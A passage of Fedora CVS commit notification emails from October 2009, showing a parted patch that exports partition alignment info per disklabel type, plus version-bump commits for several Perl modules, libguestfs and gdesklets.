+ * partition, for all disklabel types which require alignment, except Sun
+ * disklabels, the end sector must be aligned too. To get the end sector
+ * alignment decrease the PedAlignment offset by 1.
+ *
+ * \return NULL on error, otherwise a pointer to a dynamically allocated
+ *         alignment.
+ */
+PedAlignment*
+ped_disk_get_partition_alignment(const PedDisk *disk)
+{
+        /* disklabel handlers which don't need alignment don't define this */
+        if (!disk->type->ops->get_partition_alignment)
+                return ped_alignment_duplicate(ped_alignment_any);
+
+        return disk->type->ops->get_partition_alignment(disk);
+}
+
+/**
  * Get the maximum number of (primary) partitions the disk label supports.
  *
  * For example, MacIntosh partition maps can have different sizes,
diff -up parted-1.9.0/libparted/labels/dasd.c.export-align parted-1.9.0/libparted/labels/dasd.c
--- parted-1.9.0/libparted/labels/dasd.c.export-align	2009-10-29 15:19:31.000000000 +0100
+++ parted-1.9.0/libparted/labels/dasd.c	2009-10-29 15:19:31.000000000 +0100
@@ -856,6 +856,16 @@ dasd_get_max_supported_partition_count (
 	return true;
 }
 
+static PedAlignment*
+dasd_get_partition_alignment(const PedDisk *disk)
+{
+        DasdDiskSpecific* disk_specific = disk->disk_specific;
+        PedSector sector_size =
+                disk_specific->real_sector_size / disk->dev->sector_size;
+
+        return ped_alignment_new(0, disk->dev->hw_geom.sectors * sector_size);
+}
+
 static PedConstraint*
 _primary_constraint (PedDisk* disk)
 {
@@ -1041,6 +1051,7 @@ static PedDiskOps dasd_disk_ops = {
 	alloc_metadata: dasd_alloc_metadata,
 	get_max_primary_partition_count: dasd_get_max_primary_partition_count,
 	get_max_supported_partition_count: dasd_get_max_supported_partition_count,
+	get_partition_alignment: dasd_get_partition_alignment,
 
 };
 
diff -up parted-1.9.0/libparted/labels/mac.c.export-align parted-1.9.0/libparted/labels/mac.c
--- parted-1.9.0/libparted/labels/mac.c.export-align	2009-10-29 15:19:31.000000000 +0100
+++ parted-1.9.0/libparted/labels/mac.c	2009-10-29 15:19:31.000000000 +0100
@@ -1375,6 +1375,14 @@ mac_partition_get_name (const PedPartiti
 	return mac_data->volume_name;
 }
 
+static PedAlignment*
+mac_get_partition_alignment(const PedDisk *disk)
+{
+        PedSector sector_size = disk->dev->sector_size / 512;
+
+        return ped_alignment_new(0, sector_size);
+}
+
 static PedConstraint*
 _primary_constraint (PedDisk* disk)
 {
@@ -1606,7 +1614,8 @@ static PedDiskOps mac_disk_ops = {
 	get_max_primary_partition_count:
 				mac_get_max_primary_partition_count,
 	get_max_supported_partition_count:
-				mac_get_max_supported_partition_count
+				mac_get_max_supported_partition_count,
+	get_partition_alignment: mac_get_partition_alignment,
 };
 
 static PedDiskType mac_disk_type = {
diff -up parted-1.9.0/libparted/labels/pc98.c.export-align parted-1.9.0/libparted/labels/pc98.c
--- parted-1.9.0/libparted/labels/pc98.c.export-align	2009-10-29 15:19:31.000000000 +0100
+++ parted-1.9.0/libparted/labels/pc98.c	2009-10-29 15:19:31.000000000 +0100
@@ -720,6 +720,15 @@ pc98_partition_get_name (const PedPartit
 	return pc98_data->name;
 }
 
+static PedAlignment*
+pc98_get_partition_alignment(const PedDisk *disk)
+{
+	PedSector cylinder_size =
+		disk->dev->hw_geom.sectors * disk->dev->hw_geom.heads;
+
+        return ped_alignment_new(0, cylinder_size);
+}
+
 static PedConstraint*
 _primary_constraint (PedDisk* disk)
 {
@@ -872,7 +881,8 @@ static PedDiskOps pc98_disk_ops = {
 	get_max_primary_partition_count:
 				pc98_get_max_primary_partition_count,
 	get_max_supported_partition_count:
-				pc98_get_max_supported_partition_count
+				pc98_get_max_supported_partition_count,
+	get_partition_alignment: pc98_get_partition_alignment,
 };
 
 static PedDiskType pc98_disk_type = {
diff -up parted-1.9.0/libparted/labels/rdb.c.export-align parted-1.9.0/libparted/labels/rdb.c
--- parted-1.9.0/libparted/labels/rdb.c.export-align	2009-10-29 15:19:31.000000000 +0100
+++ parted-1.9.0/libparted/labels/rdb.c	2009-10-29 15:19:31.000000000 +0100
@@ -1024,6 +1024,15 @@ amiga_partition_get_name (const PedParti
 	return _amiga_get_bstr(partition->pb_DriveName);
 }
 
+static PedAlignment*
+amiga_get_partition_alignment(const PedDisk *disk)
+{
+	PedSector cylinder_size =
+		disk->dev->hw_geom.sectors * disk->dev->hw_geom.heads;
+
+        return ped_alignment_new(0, cylinder_size);
+}
+
 static PedConstraint*
 _amiga_get_constraint (const PedDisk *disk)
 {
@@ -1166,7 +1175,8 @@ static PedDiskOps amiga_disk_ops = {
 	get_max_primary_partition_count:
 				amiga_get_max_primary_partition_count,
 	get_max_supported_partition_count:
-				amiga_get_max_supported_partition_count
+				amiga_get_max_supported_partition_count,
+	get_partition_alignment: amiga_get_partition_alignment,
 };
 
 static PedDiskType amiga_disk_type = {
diff -up parted-1.9.0/libparted/labels/sun.c.export-align parted-1.9.0/libparted/labels/sun.c
--- parted-1.9.0/libparted/labels/sun.c.export-align	2009-10-29 15:19:31.000000000 +0100
+++ parted-1.9.0/libparted/labels/sun.c	2009-10-29 15:19:31.000000000 +0100
@@ -677,6 +677,15 @@ sun_get_max_primary_partition_count (con
 	return SUN_DISK_MAXPARTITIONS;
 }
 
+static PedAlignment*
+sun_get_partition_alignment(const PedDisk *disk)
+{
+	PedSector block =
+		disk->dev->hw_geom.sectors * disk->dev->hw_geom.heads;
+
+        return ped_alignment_new(0, block);
+}
+
 static PedConstraint*
 _get_strict_constraint (PedDisk* disk)
 {
@@ -867,6 +876,7 @@ static PedDiskOps sun_disk_ops = {
 				sun_get_max_primary_partition_count,
 	get_max_supported_partition_count:
 				sun_get_max_supported_partition_count,
+	get_partition_alignment: sun_get_partition_alignment,
 
 	partition_set_name:		NULL,
 	partition_get_name:		NULL,


Index: parted.spec
===================================================================
RCS file: /cvs/extras/rpms/parted/devel/parted.spec,v
retrieving revision 1.151
retrieving revision 1.152
diff -u -p -r1.151 -r1.152
--- parted.spec	8 Oct 2009 09:14:01 -0000	1.151
+++ parted.spec	29 Oct 2009 19:05:51 -0000	1.152
@@ -4,7 +4,7 @@
 Summary: The GNU disk partition manipulation program
 Name:    parted
 Version: 1.9.0
-Release: 17%{?dist}
+Release: 18%{?dist}
 License: GPLv3+
 Group:   Applications/System
 URL:     http://www.gnu.org/software/parted
@@ -27,6 +27,7 @@ Patch14:  %{name}-1.9.0-commit-without-c
 Patch15:  %{name}-1.9.0-dont-touch-part-nodes.patch
 Patch16:  %{name}-1.9.0-ped_partition_is_busy-no-exception.patch
 Patch17:  %{name}-1.9.0-gpt-big-endian.patch
+Patch18:  %{name}-1.9.0-export-alignment-info.patch
 
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: e2fsprogs-devel
@@ -81,6 +82,11 @@ Parted library, you need to install this
 %patch15 -p1 -b .dont-touch-part-nodes
 %patch16 -p1 -b .ped_partition_is_busy
 %patch17 -p1 -b .gpt-big-endian
+%patch18 -p1 -b .export-align
+aclocal --force -I m4
+autoconf --force
+autoheader --force
+automake --add-missing --copy --force-missing
 
 
 %build
@@ -142,6 +148,9 @@ fi
 %{_exec_prefix}/%{_lib}/pkgconfig/libparted.pc
 
 %changelog
+* Thu Oct 29 2009 Hans de Goede <hdegoede at redhat.com> 1.9.0-18
+- Add functions to query device / partition table alignments (#528030)
+
 * Thu Oct  8 2009 Hans de Goede <hdegoede at redhat.com> 1.9.0-17
 - Only change the partition type to 82 when setting the swap flag on dos
   labels, not when resetting it



From kasal at fedoraproject.org  Thu Oct 29 19:08:27 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 19:08:27 +0000 (UTC)
Subject: rpms/perl-Test-SubCalls/F-12 .cvsignore, 1.5,
	1.6 perl-Test-SubCalls.spec, 1.9, 1.10 sources, 1.5, 1.6
Message-ID: <20091029190827.BB5D011C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Test-SubCalls/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1745

Modified Files:
	.cvsignore perl-Test-SubCalls.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-SubCalls/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	6 Oct 2008 06:32:58 -0000	1.5
+++ .cvsignore	29 Oct 2009 19:08:27 -0000	1.6
@@ -1 +1 @@
-Test-SubCalls-1.08.tar.gz
+Test-SubCalls-1.09.tar.gz


Index: perl-Test-SubCalls.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-SubCalls/F-12/perl-Test-SubCalls.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- perl-Test-SubCalls.spec	26 Jul 2009 16:57:31 -0000	1.9
+++ perl-Test-SubCalls.spec	29 Oct 2009 19:08:27 -0000	1.10
@@ -1,6 +1,6 @@
 Name:           perl-Test-SubCalls
-Version:        1.08
-Release:        3%{?dist}
+Version:        1.09
+Release:        1%{?dist}
 Summary:        Track the number of times subs are called
 
 Group:          Development/Libraries
@@ -64,6 +64,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.09-1
+- update to new upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.08-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-SubCalls/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	6 Oct 2008 06:32:58 -0000	1.5
+++ sources	29 Oct 2009 19:08:27 -0000	1.6
@@ -1 +1 @@
-d21b091c76e168f8aad11b3a256eb18b  Test-SubCalls-1.08.tar.gz
+975a9fe8d93ef0298fc1bca8f03166e1  Test-SubCalls-1.09.tar.gz



From kasal at fedoraproject.org  Thu Oct 29 19:09:20 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 19:09:20 +0000 (UTC)
Subject: rpms/perl-Text-CSV_XS/F-12 .cvsignore, 1.7,
	1.8 perl-Text-CSV_XS.spec, 1.17, 1.18 sources, 1.7, 1.8
Message-ID: <20091029190920.9844811C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Text-CSV_XS/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2059

Modified Files:
	.cvsignore perl-Text-CSV_XS.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Text-CSV_XS/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	10 Dec 2008 15:11:51 -0000	1.7
+++ .cvsignore	29 Oct 2009 19:09:20 -0000	1.8
@@ -1 +1 @@
-Text-CSV_XS-0.58.tgz
+Text-CSV_XS-0.68.tar.gz


Index: perl-Text-CSV_XS.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Text-CSV_XS/F-12/perl-Text-CSV_XS.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- perl-Text-CSV_XS.spec	26 Jul 2009 17:03:57 -0000	1.17
+++ perl-Text-CSV_XS.spec	29 Oct 2009 19:09:20 -0000	1.18
@@ -1,12 +1,12 @@
 Name:           perl-Text-CSV_XS
-Version:        0.58
-Release:        3%{?dist}
+Version:        0.68
+Release:        1%{?dist}
 Summary:        Comma-separated values manipulation routines
 
 Group:          Development/Libraries
 License:        GPL+ or Artistic
 URL:            http://search.cpan.org/dist/Text-CSV_XS/
-Source0:        http://www.cpan.org/authors/id/H/HM/HMBRAND/Text-CSV_XS-%{version}.tgz
+Source0:        http://www.cpan.org/authors/id/H/HM/HMBRAND/Text-CSV_XS-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  perl(Test::Pod)
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 0.68-1
+- update to new upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.58-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Text-CSV_XS/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	10 Dec 2008 15:11:51 -0000	1.7
+++ sources	29 Oct 2009 19:09:20 -0000	1.8
@@ -1 +1 @@
-0a60b6423f752220716dc0672b482055  Text-CSV_XS-0.58.tgz
+be6b24649b7830791fa5d069d8b3881c  Text-CSV_XS-0.68.tar.gz



From luya at fedoraproject.org  Thu Oct 29 19:10:19 2009
From: luya at fedoraproject.org (Luya Tshimbalanga)
Date: Thu, 29 Oct 2009 19:10:19 +0000 (UTC)
Subject: rpms/gdesklets/F-12 python-2.6.patch, NONE, 1.1 gdesklets.spec, 1.43,
	1.44
Message-ID: <20091029191019.C196911C00E5@cvs1.fedora.phx.redhat.com>

Author: luya

Update of /cvs/pkgs/rpms/gdesklets/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2319

Modified Files:
	gdesklets.spec 
Added Files:
	python-2.6.patch 
Log Message:
Patch to address python 2.6 compatibilty from F11

python-2.6.patch:
 ErrorFormatter.py |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE python-2.6.patch ---
--- gDesklets-0.36.1/utils/ErrorFormatter.py	2008-03-19 16:00:59.000000000 -0700
+++ gDesklets-0.36.1.new/utils/ErrorFormatter.py	2009-05-12 22:32:47.000000000 -0700
@@ -113,9 +113,9 @@
 # give us an absolute path.
 #
 _old_imp = __import__
-def _new_imp(name, globs = {}, locls = {}, fromlist = []):
+def _new_imp(*args, **kwargs):
 
-    module = _old_imp(name, globs, locls, fromlist)
+    module = _old_imp(*args, **kwargs)
     # builtin modules have no "__file__" attribute, so we have to check for it
     if (module):
         if (hasattr(module, "__file__")):


Index: gdesklets.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdesklets/F-12/gdesklets.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- gdesklets.spec	24 Jul 2009 23:41:16 -0000	1.43
+++ gdesklets.spec	29 Oct 2009 19:10:18 -0000	1.44
@@ -2,7 +2,7 @@
 
 Name:		gdesklets
 Version:	0.36.1
-Release:	6%{?dist}
+Release:	7%{?dist}
 Summary:	An interactive Imlib2 console for the X Window system
 
 Group:		User Interface/Desktops
@@ -11,6 +11,7 @@ License:	GPL+
 URL:		http://www.%{name}.de/
 Source0:	http://%{name}.de/files/%{name}-%{version}.tar.gz
 Patch0:		transition.patch
+Patch1:		python-2.6.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  python-devel > 2.0.0, pyorbit-devel , pygtk2-devel > 2.4.0, 
@@ -31,6 +32,7 @@ bars, weather sensors, news tickers.
 %prep
 %setup -q -n gDesklets-%{version}
 %patch0 -p1 -b .transition
+%patch1 -p1 -b .python2.6
 
 %build
 %configure \
@@ -81,6 +83,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Thu Oct 29 2009 Luya Tshimbalanga <luya at fedoraproject.org> 0.36.1-7
+- Add patch to address compatibility with python 2.6
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.36.1-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kasal at fedoraproject.org  Thu Oct 29 19:10:45 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 19:10:45 +0000 (UTC)
Subject: rpms/perl-UNIVERSAL-can/F-12 .cvsignore, 1.3,
	1.4 perl-UNIVERSAL-can.spec, 1.6, 1.7 sources, 1.3, 1.4
Message-ID: <20091029191045.C9D1111C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-UNIVERSAL-can/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2397

Modified Files:
	.cvsignore perl-UNIVERSAL-can.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-UNIVERSAL-can/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	5 Apr 2006 19:28:05 -0000	1.3
+++ .cvsignore	29 Oct 2009 19:10:44 -0000	1.4
@@ -1 +1 @@
-UNIVERSAL-can-1.12.tar.gz
+UNIVERSAL-can-1.15.tar.gz


Index: perl-UNIVERSAL-can.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-UNIVERSAL-can/F-12/perl-UNIVERSAL-can.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- perl-UNIVERSAL-can.spec	26 Jul 2009 17:20:47 -0000	1.6
+++ perl-UNIVERSAL-can.spec	29 Oct 2009 19:10:44 -0000	1.7
@@ -1,6 +1,6 @@
 Name:           perl-UNIVERSAL-can
-Version:        1.12
-Release:        4%{?dist}
+Version:        1.15
+Release:        1%{?dist}
 Summary:        Hack around people calling UNIVERSAL::can() as a function
 
 Group:          Development/Libraries
@@ -43,7 +43,6 @@ chmod -R u+w $RPM_BUILD_ROOT/*
 
 
 %check
-mv t/developer/0-signature.t t/developer/0-signature.t.disable
 PERL_RUN_ALL_TESTS=1 ./Build test
 
 
@@ -59,6 +58,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.15-1
+- update to new upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.12-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-UNIVERSAL-can/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	5 Apr 2006 19:28:05 -0000	1.3
+++ sources	29 Oct 2009 19:10:45 -0000	1.4
@@ -1 +1 @@
-4386c4f7479447fc5b51e8c3770cd2f4  UNIVERSAL-can-1.12.tar.gz
+d08a0bdedccadebed359f2c0a7b5afbb  UNIVERSAL-can-1.15.tar.gz



From kasal at fedoraproject.org  Thu Oct 29 19:11:06 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 19:11:06 +0000 (UTC)
Subject: rpms/perl-UNIVERSAL-isa/F-12 .cvsignore, 1.4,
	1.5 perl-UNIVERSAL-isa.spec, 1.10, 1.11 sources, 1.4, 1.5
Message-ID: <20091029191106.D4EB311C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-UNIVERSAL-isa/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2643

Modified Files:
	.cvsignore perl-UNIVERSAL-isa.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-UNIVERSAL-isa/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	20 Nov 2008 23:36:33 -0000	1.4
+++ .cvsignore	29 Oct 2009 19:11:06 -0000	1.5
@@ -1 +1 @@
-UNIVERSAL-isa-1.01.tar.gz
+UNIVERSAL-isa-1.03.tar.gz


Index: perl-UNIVERSAL-isa.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-UNIVERSAL-isa/F-12/perl-UNIVERSAL-isa.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- perl-UNIVERSAL-isa.spec	26 Jul 2009 17:21:20 -0000	1.10
+++ perl-UNIVERSAL-isa.spec	29 Oct 2009 19:11:06 -0000	1.11
@@ -1,6 +1,6 @@
 Name:           perl-UNIVERSAL-isa
-Version:        1.01
-Release:        3%{?dist}
+Version:        1.03
+Release:        1%{?dist}
 Summary:        Hack around module authors using UNIVERSAL::isa as a function
 
 Group:          Development/Libraries
@@ -60,6 +60,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.03-1
+- update to new upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.01-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-UNIVERSAL-isa/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	20 Nov 2008 23:36:33 -0000	1.4
+++ sources	29 Oct 2009 19:11:06 -0000	1.5
@@ -1 +1 @@
-032d0d035b6dc8e25dd0e8af55443b9b  UNIVERSAL-isa-1.01.tar.gz
+0643f2e04cd0b5739fc0908af291c609  UNIVERSAL-isa-1.03.tar.gz



From kasal at fedoraproject.org  Thu Oct 29 19:11:30 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 19:11:30 +0000 (UTC)
Subject: rpms/perl-UNIVERSAL-require/F-12 .cvsignore, 1.3,
	1.4 perl-UNIVERSAL-require.spec, 1.8, 1.9 sources, 1.3, 1.4
Message-ID: <20091029191130.AC08011C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-UNIVERSAL-require/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2773

Modified Files:
	.cvsignore perl-UNIVERSAL-require.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-UNIVERSAL-require/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	18 Jan 2007 01:44:45 -0000	1.3
+++ .cvsignore	29 Oct 2009 19:11:30 -0000	1.4
@@ -1 +1 @@
-UNIVERSAL-require-0.11.tar.gz
+UNIVERSAL-require-0.13.tar.gz


Index: perl-UNIVERSAL-require.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-UNIVERSAL-require/F-12/perl-UNIVERSAL-require.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- perl-UNIVERSAL-require.spec	26 Jul 2009 17:21:50 -0000	1.8
+++ perl-UNIVERSAL-require.spec	29 Oct 2009 19:11:30 -0000	1.9
@@ -1,6 +1,6 @@
 Name:           perl-UNIVERSAL-require
-Version:        0.11
-Release:        6%{?dist}
+Version:        0.13
+Release:        1%{?dist}
 Summary:        Require() modules from a variable
 Group:          Development/Libraries
 License:        GPL+ or Artistic
@@ -51,6 +51,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 0.13-1
+- update to new upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.11-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-UNIVERSAL-require/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	18 Jan 2007 01:44:45 -0000	1.3
+++ sources	29 Oct 2009 19:11:30 -0000	1.4
@@ -1 +1 @@
-a93b419333866dcf1e974e8079a41bd7  UNIVERSAL-require-0.11.tar.gz
+e6ea431fac9524077414d531a8cc203c  UNIVERSAL-require-0.13.tar.gz



From kasal at fedoraproject.org  Thu Oct 29 19:12:07 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 19:12:07 +0000 (UTC)
Subject: rpms/perl-URI/F-12 .cvsignore, 1.7, 1.8 perl-URI.spec, 1.24,
	1.25 sources, 1.7, 1.8
Message-ID: <20091029191207.62B2D11C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-URI/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3020

Modified Files:
	.cvsignore perl-URI.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-URI/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	20 Feb 2009 05:36:34 -0000	1.7
+++ .cvsignore	29 Oct 2009 19:12:07 -0000	1.8
@@ -1 +1 @@
-URI-1.37.tar.gz
+URI-1.40.tar.gz


Index: perl-URI.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-URI/F-12/perl-URI.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- perl-URI.spec	26 Jul 2009 17:22:08 -0000	1.24
+++ perl-URI.spec	29 Oct 2009 19:12:07 -0000	1.25
@@ -1,6 +1,6 @@
 Name:           perl-URI
-Version:        1.37
-Release:        3%{?dist}
+Version:        1.40
+Release:        1%{?dist}
 Summary:        A Perl module implementing URI parsing and manipulation
 
 Group:          Development/Libraries
@@ -61,6 +61,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct  6 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.40-1
+- update to new upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.37-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-URI/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	20 Feb 2009 05:36:34 -0000	1.7
+++ sources	29 Oct 2009 19:12:07 -0000	1.8
@@ -1 +1 @@
-b81b3610b78654e11c099f74a5247860  URI-1.37.tar.gz
+626cc85f1939a89981f82aae43497b53  URI-1.40.tar.gz



From rjones at fedoraproject.org  Thu Oct 29 19:14:36 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 29 Oct 2009 19:14:36 +0000 (UTC)
Subject: rpms/libguestfs/EL-5 libguestfs.spec,1.79,1.80
Message-ID: <20091029191436.2578B11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3641

Modified Files:
	libguestfs.spec 
Log Message:
Bump to force rebuild.


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/libguestfs.spec,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- libguestfs.spec	29 Oct 2009 19:02:17 -0000	1.79
+++ libguestfs.spec	29 Oct 2009 19:14:35 -0000	1.80
@@ -5,7 +5,7 @@ Summary:     Access and modify virtual m
 Name:        libguestfs
 Epoch:       1
 Version:     1.0.75
-Release:     1%{?dist}.7
+Release:     1%{?dist}.8
 License:     LGPLv2+
 Group:       Development/Libraries
 URL:         http://libguestfs.org/
@@ -579,7 +579,7 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1.el5.7
+* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1.el5.8
 - New upstream release 1.0.75.
 - New library: libhivex.
 - New tools: virt-win-reg, hivexml, hivexget.



From kasal at fedoraproject.org  Thu Oct 29 19:17:54 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 19:17:54 +0000 (UTC)
Subject: rpms/perl-XML-NamespaceSupport/F-12
	perl-XML-NamespaceSupport-autoinstall_off.patch, NONE,
	1.1 .cvsignore, 1.3, 1.4 perl-XML-NamespaceSupport.spec, 1.14,
	1.15 sources, 1.3, 1.4
Message-ID: <20091029191754.4C32911C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-XML-NamespaceSupport/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4495

Modified Files:
	.cvsignore perl-XML-NamespaceSupport.spec sources 
Added Files:
	perl-XML-NamespaceSupport-autoinstall_off.patch 
Log Message:
sync with rawhide

perl-XML-NamespaceSupport-autoinstall_off.patch:
 Makefile.PL |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE perl-XML-NamespaceSupport-autoinstall_off.patch ---
diff -up XML-NamespaceSupport-1.10/Makefile.PL.old XML-NamespaceSupport-1.10/Makefile.PL
--- XML-NamespaceSupport-1.10/Makefile.PL.old	2009-05-28 15:49:59.000000000 +0200
+++ XML-NamespaceSupport-1.10/Makefile.PL	2009-10-07 10:56:19.646648385 +0200
@@ -9,5 +9,5 @@ build_requires 'Test::More' => '0.47';
 
 auto_set_repository;
 auto_manifest;
